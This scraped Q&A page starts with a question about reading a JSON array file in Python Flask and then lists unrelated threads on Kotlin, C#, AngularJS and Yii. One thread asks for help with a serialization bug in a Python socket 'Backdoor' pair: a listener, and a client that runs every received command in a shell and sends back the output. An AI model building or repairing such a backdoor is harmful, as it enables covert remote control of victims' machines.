how to read json file array objets with python flask - arrays

I have a problem with read a file JSON, that file contains an array objects like this:
[{"some": 1, "list": [{"one":1}]},{"some": 1, "list": [{"one":1}]}]
my code is like below:
ls_plano = json.loads(open("tests/mocks/lsplano_itens_pessoais.json", encoding="utf8").read())
show me this error:
I try to read that file and put that file in ls_plano to read and assign to the other values like this:
ls_plano = json.loads(open("tests/mocks/lsplano_itens_pessoais.json", encoding="utf8").read())
if ls_plano is not None:
for plano in ls_plano:
temp_plano = {}
temp_plano["inPlanoPersonalizado"] = plano.get("inPlanoPersonalizado")
temp_plano["inSelecionado"] = plano.get("inSelecionado")
if plano.get("lsChassi"):
temp_plano["lsChassi"] = self.__map_ls_chassi(plano.get("lsChassi", []))
if plano.get("lsTipoObjetoSegurado"):
temp_plano["lsTipoObjetoSegurado"] = self.__map_ls_tipo_ob_segurado(
plano.get("lsTipoObjetoSegurado")
)
if plano.get("lsComissao"):
temp_plano["lsComissao"] = self.__map_ls_comissao(plano.get("lsComissao", []))
if plano.get("lsParcela"):
temp_plano["lsParcela"] = self.__map_ls_items(plano.get("lsParcela", []))
temp_plano["nmIdentificadorPlano"] = plano.get("nmIdentificadorPlano")
temp_plano["nmPlano"] = plano.get("nmPlano")
temp_plano["nrPlano"] = plano.get("nrPlano")
temp_plano["vlAdicionalFracionamento"] = plano.get("vlAdicionalFracionamento")
temp_plano["vlAssistenciaFacultativa"] = plano.get("vlAssistenciaFacultativa")
temp_plano["vlCobranca"] = plano.get("vlCobranca")
temp_plano["vlComercial"] = plano.get("vlComercial")
temp_plano["vlIof"] = plano.get("vlIof")
temp_plano["vlPremioLiquido"] = plano.get("vlPremioLiquido")
temp_plano["vlPremioNet"] = plano.get("vlPremioNet")
temp_plano["vlPremioTarifa"] = plano.get("vlPremioTarifa")
temp_plano["vlPremioTotal"] = plano.get("vlPremioTotal")
temp_plano["vlTotalComissao"] = plano.get("vlTotalComissao")
temp_plano["vlTotalDesconto"] = plano.get("vlTotalDesconto")
resp.append(temp_plano)
return resp
please help me, thanks for your attention.

Try to use with when opening files, it's a better approach, see here more info.
This code is working:
import sys
# Reading the json file
try:
with open("myjsonfile_list_of_dicts.json", "r") as read_content:
ls_plano: dict = json.load(read_content)
except (FileNotFoundError, PermissionError, OSError, ValueError) as e:
print(f"Error opening the file: {e}")
sys.exit()
# Parsing
try:
resp = []
if ls_plano is not None:
for plano in ls_plano:
temp_plano = {"inPlanoPersonalizado": plano.get("inPlanoPersonalizado"),
"inSelecionado": plano.get("inSelecionado")}
if plano.get("lsChassi"):
temp_plano["lsChassi"] = self.__map_ls_chassi(plano.get("lsChassi", []))
if plano.get("lsTipoObjetoSegurado"):
temp_plano["lsTipoObjetoSegurado"] = self.__map_ls_tipo_ob_segurado(
plano.get("lsTipoObjetoSegurado")
)
if plano.get("lsComissao"):
temp_plano["lsComissao"] = self.__map_ls_comissao(plano.get("lsComissao", []))
if plano.get("lsParcela"):
temp_plano["lsParcela"] = self.__map_ls_items(plano.get("lsParcela", []))
temp_plano["nmIdentificadorPlano"] = plano.get("nmIdentificadorPlano")
temp_plano["nmPlano"] = plano.get("nmPlano")
temp_plano["nrPlano"] = plano.get("nrPlano")
temp_plano["vlAdicionalFracionamento"] = plano.get("vlAdicionalFracionamento")
temp_plano["vlAssistenciaFacultativa"] = plano.get("vlAssistenciaFacultativa")
temp_plano["vlCobranca"] = plano.get("vlCobranca")
temp_plano["vlComercial"] = plano.get("vlComercial")
temp_plano["vlIof"] = plano.get("vlIof")
temp_plano["vlPremioLiquido"] = plano.get("vlPremioLiquido")
temp_plano["vlPremioNet"] = plano.get("vlPremioNet")
temp_plano["vlPremioTarifa"] = plano.get("vlPremioTarifa")
temp_plano["vlPremioTotal"] = plano.get("vlPremioTotal")
temp_plano["vlTotalComissao"] = plano.get("vlTotalComissao")
temp_plano["vlTotalDesconto"] = plano.get("vlTotalDesconto")
resp.append(temp_plano)
return resp
except (KeyError, TypeError) as e:
print(f"Error parsing the json file: {e}")
Recommendations:
Comment the code
Use try-except
Open files with 'with'

Related

How to create multi infinity loops with coroutine in Kotlin

I have a method in viewmodel that I want to execute infinity till client stop that.
This loop should work for each button separately and stop that too.
But when I execute the loop for fourth time, application hangs.
How can I manage the loop and run it for four separate objects
This is my method in viewmodel:
fun getLocationInfinity(context: Context, tripId: Long, passengerId: Int) =
viewModelScope.launch {
val gpsTracker = LocationGpsTracker(context, 0, 0)
val netGpsTracker = LocationGpsTrackerNetwork(context)
var way = Way()
way.latitude1 = gpsTracker.getLatitude()
way.longitude1 = gpsTracker.getLongitude()
way.accuracy1 = gpsTracker.getAccuracy()
way.latitudeNet1 = netGpsTracker.getLatitude()
way.longitudeNet1 = netGpsTracker.getLongitude()
way.accuracyNet1 = netGpsTracker.getAccuracy()
while (isActive) {
if (_passengerSwitch.value?.get(passengerId - 1) == true) {
way.latitude2 = way.latitude1
way.longitude2 = way.longitude1
way.accuracy2 = way.accuracy1
way.latitudeNet2 = way.latitudeNet1
way.longitudeNet2 = way.longitudeNet1
way.accuracyNet2 = way.accuracyNet1
way.latitude1 = gpsTracker.getLatitude()
way.longitude1 = gpsTracker.getLongitude()
way.accuracy1 = gpsTracker.getAccuracy()
way.latitudeNet1 = netGpsTracker.getLatitude()
way.longitudeNet1 = netGpsTracker.getLongitude()
way.accuracyNet1 = netGpsTracker.getAccuracy()
_way.postValue(way)
val tripDetails = TripDetails(
latitude1 = way.latitude1,
latitude2 = way.latitude2,
longitude1 = way.longitude1,
longitude2 = way.longitude2,
accuracy1 = way.accuracy1,
accuracy2 = way.accuracy2,
latitudeNet1 = way.latitudeNet1,
latitudeNet2 = way.latitudeNet2,
longitudeNet1 = way.longitudeNet1,
longitudeNet2 = way.longitudeNet2,
accuracy1Net = way.accuracyNet1,
accuracy2Net = way.accuracyNet2,
distance = null,
isCalculated = false,
tripId = tripId.toInt(),
isEnded = false
)
localRepository.insertLocation(tripDetails)
delay(2000)
}
}
}
The delay() call needs to be outside your if-block. Otherwise, if the condition is false, this loop will never suspend so it never relinquishes the thread.

Socket Serialization Error , a bytes-like object is required, not 'str'

I tried Encoding but is not working can anyone help me with the serialization in python3 a bytes-like object is required, not 'str'
#!/usr/bin/python3
import socket
import json
import pickle
class Listener:
def __init__(self,ip,port):
listener = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
listener.bind((ip,port))
listener.listen(0)
print("[+] Waiting for Incoming Connection")
self.connection,address = listener.accept()
print(("[+] Got a Connection from " + str(address)))
def serialize_send(self, data):
data_send = json.dumps(data)
return self.connection.send(data_send)
def serialize_receive(self):
json_dataX = ""
while True:
try:
# #json_data = json_data + self.connection.recv(1024)
# data = self.connection.recv(1024).decode("utf-8", errors="ignore")
# json_data = json_data + data
# return json.loads(json_data)
json_data = bytes(json_dataX, 'utf-8')+ self.connection.recv(1024)
return json.loads(json.loads(json_data.decode('utf8')))
except ValueError:
continue
def execute_remotely(self,command):
self.serialize_send(command)
if command[0] == "exit":
self.connection.close()
exit()
return self.serialize_receive()
def run(self):
while True:
comX = input(">> : ")
command = comX.split(" ")
try:
sys_command = str(command[0])
result = self.execute_remotely(sys_command)
except Exception as errorX:
result = errorX
print(result)
my_backdoor = Listener("localhost",1234)
my_backdoor.run()
Client Code
#!/usr/bin/python3
import socket
import subprocess
import json
import pickle
class Backdoor:
def __init__(self,ip,port):
self.connection=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
self.connection.connect(("localhost",1234))
def serialize_send(self,data):
json_data = json.dumps(data)
self.connection.send(json_data)
def serialize_receive(self):
json_dataX = ""
while True:
try:
#conn_Recv = self.connection.recv(1024)
#data = self.connection.recv(1024).decode("utf-8", errors="ignore")
#json_data = json_dataX + data
json_data = bytes(json_dataX, 'utf-8') + self.connection.recv(1024)
return json.loads(json.loads(json_data.decode('utf8')))
except ValueError:
continue
def execute_system_commmand(self,command):
return subprocess.check_output(command,shell=True)
def run(self):
while True:
commandx = self.serialize_receive()
command = commandx
try:
if command[0] == "exit":
self.connection.close()
exit()
else:
command_result = self.execute_system_commmand(command)
except Exception:
command_result = "[-] Unknown Execution."
self.serialize_send(command_result)
my_backdoor = Backdoor("localhost",1234)
my_backdoor.run()

2 object of same type returns true when != checked

I am using model.GetType().GetProperties() with foreach to compare properties of 2 object of same class.
like this
foreach (var item in kayit.GetType().GetProperties())
{
var g = item.GetValue(plu);
var b = item.GetValue(kayit);
if (g is string && b is string&& g!=b)
{
a += item.Name + "*";
}
else if (g is DateTime&& b is DateTime&& g!=b)
{
a += item.Name + "*";
}
}
But the problem is even if they have the same value g!=b returns a true all the time. I have used a break point to prove this and they are literally same thing. Actually I am taking the value putting it in textbox then creating another class after button click and comaring to see the changed properties. So even if I don't change anything it doesn't read the mas equals. Can someone help me about this please?
more info:
I get the plu from database and populate my control with it:
txtorder.Text = plu.OrderNo;
dtporder.Value = nulldate(plu.OrderDate);
dtp1fit.Value = nulldate(plu.FirstFitDate);
dtp1yorum.Value = nulldate(plu.FirstCritDate);
dtp2fit.Value = nulldate(plu.SecondFitDate);
dtp2yorum.Value = nulldate(plu.SecondCritDate);
dtpsizeset.Value = nulldate(plu.SizeSetDate);
dtpsizesetok.Value = nulldate(plu.SizeSetOkDate);
dtpkumasplan.Value = nulldate(plu.FabricOrderByPlan);
txtTedarikci.Text = plu.Fabric_Supplier;
dtpkumasFP.Value = nulldate(plu.FabricOrderByFD);
dtpfabarrive.Value = nulldate(plu.FabricArrive);
dtpbulk.Value = nulldate(plu.BulkFabricDate);
dtpbulkok.Value = nulldate(plu.BulkConfirmDate);
dtpaccessory.Value = nulldate(plu.AccessoriesDate);
dtpaccessoryarrive.Value = nulldate(plu.AccessoriesArriveDate);
dtpcutok.Value = nulldate(plu.ProductionStartConfirmation);
dtpcutstart.Value = nulldate(plu.ProductionStart);
dtpshipmentdate.Value = nulldate(plu.ShipmentDate);
dtpshipmentsample.Value = nulldate(plu.ShipmentSampleDate);
dtpshippedon.Value = nulldate(plu.Shippedon);
nulldate is just a method where I change null values to my default value.
And this is what I do after button click:
var kayit = new uretim();
kayit.OrderNo = txtorder.Text.ToUpper();
kayit.OrderDate = vdat(dtporder.Value);
kayit.FirstFitDate = vdat(dtp1fit.Value);
kayit.FirstCritDate = vdat(dtp1yorum.Value);
kayit.SecondFitDate = vdat(dtp2fit.Value);
kayit.SecondCritDate = vdat(dtp2yorum.Value);
kayit.SizeSetDate = vdat(dtpsizeset.Value);
kayit.SizeSetOkDate = vdat(dtpsizesetok.Value);
kayit.FabricOrderByPlan = vdat(dtpkumasplan.Value);
kayit.Fabric_Supplier = txtTedarikci.Text;
kayit.FabricOrderByFD = vdat(dtpkumasFP.Value);
kayit.FabricArrive = vdat(dtpfabarrive.Value);
kayit.BulkFabricDate = vdat(dtpbulk.Value);
kayit.BulkConfirmDate = vdat(dtpbulkok.Value);
kayit.AccessoriesDate = vdat(dtpaccessory.Value);
kayit.AccessoriesArriveDate = vdat(dtpaccessoryarrive.Value);
kayit.ProductionStartConfirmation = vdat(dtpcutok.Value);
kayit.ProductionStart = vdat(dtpcutstart.Value);
kayit.ShipmentDate = vdat(dtpshipmentdate.Value);
kayit.ShipmentSampleDate = vdat(dtpshipmentsample.Value);
kayit.Shippedon = vdat(dtpshippedon.Value);
kayit.Status = true;
kayit.WrittenDate = DateTime.Now;
kayit.GuidKey = plu.GuidKey != null ? plu.GuidKey : Guid.NewGuid().ToString("N");
I have proven by breakpoint that values are actually same. But the != check retruns a true.
When you are doing
g != b
compiler doesn't know that these objects are strings to compare so it compares their references. You can do:
g.Equals(b) //be carefull if one of them is null
or
g.ToString() != b.ToString()
EDIT
You can compare them after you check the type:
if (g is string && b is string)
{
if( g.ToString() != b.ToString() ){
}
}

Unable to post request using $http.post

I just want to know whether this is the right way to post request:
$http.post(urlBase+'productattributecreate?'
+"&products_id"="1"
+"&attributes_id"=tab.attributeId
+"&attributes_values_id"=tab.attributeValueId
+"&regularPrice"=tab.regularPrice
+"&salesPrice"=tab.salePrice
+"&purchasePrice"=tab.purchasePrice
+"&stockStatus"=tab.stockStatus
+"&sttockQuantity"=tab.stockQuantity
+"&minquantitySales"=tab.minQuantitySales
+"&maxQuantitySales"=tab.maxQuantitySales
+"&productImage"="")
I think a more correct way would be:
$http.post('../productattributecreate', uploadData)
Where uploadData is an object containing all you the data:
var uploadData = {
products_id = '1',
attributes_id = tab.attributeId,
attributes_values_id = tab.attributeValueId,
regularPrice = tab.regularPrice,
salesPrice = tab.salePrice,
purchasePrice = tab.purchasePrice,
stockStatus = tab.stockStatus,
sttockQuantity = tab.stockQuantity,
minquantitySales = tab.minQuantitySales,
maxQuantitySales = tab.maxQuantitySales,
productImage = ''
};
Also... It would be better if you had clarified your question with more information.

Yii - CDbCriteria unexpected results

I am doing what looks like a simple query basically doing a WHERE clause on the competition_id and the prize_type
$criteria = new CDbCriteria;
$criteria->select = 't.*, myuser.firstname, myuser.surname';
$criteria->join ='LEFT JOIN myuser ON myuser.user_id = t.user_id';
$criteria->condition = 't.competition_id = :competition_id';
$criteria->condition = 't.prize_type = :prize_type';
$criteria->params = array(":competition_id" => $competition_id);
$criteria->params = array(":prize_type" => "1");
$winners = CompetitionWinners::model()->findAll($criteria);
Can anyone suggest what is wrong with my code... I am expecting around 4 rows.. but get over 600?
I just want to do ...
WHERE competition_id = 123 AND prize_type = 1;
Is there a simple function to simply output the SQL query for this SINGLE CDbCriteria 'event'?
try this
$criteria = new CDbCriteria;
$criteria->select = 't.*, myuser.firstname, myuser.surname';
$criteria->join ='LEFT JOIN myuser ON myuser.user_id = t.user_id';
$criteria->condition = 't.competition_id = :competition_id AND t.prize_type = :prize_type';
$criteria->params = array(":competition_id" => $competition_id,":prize_type" => "1");
$winners = CompetitionWinners::model()->findAll($criteria);
Or you could use CDbCriteria::addCondition()
$criteria->addCondition('t.competition_id = :competition_id')
->addCondition('t.prize_type = :prize_type');

Resources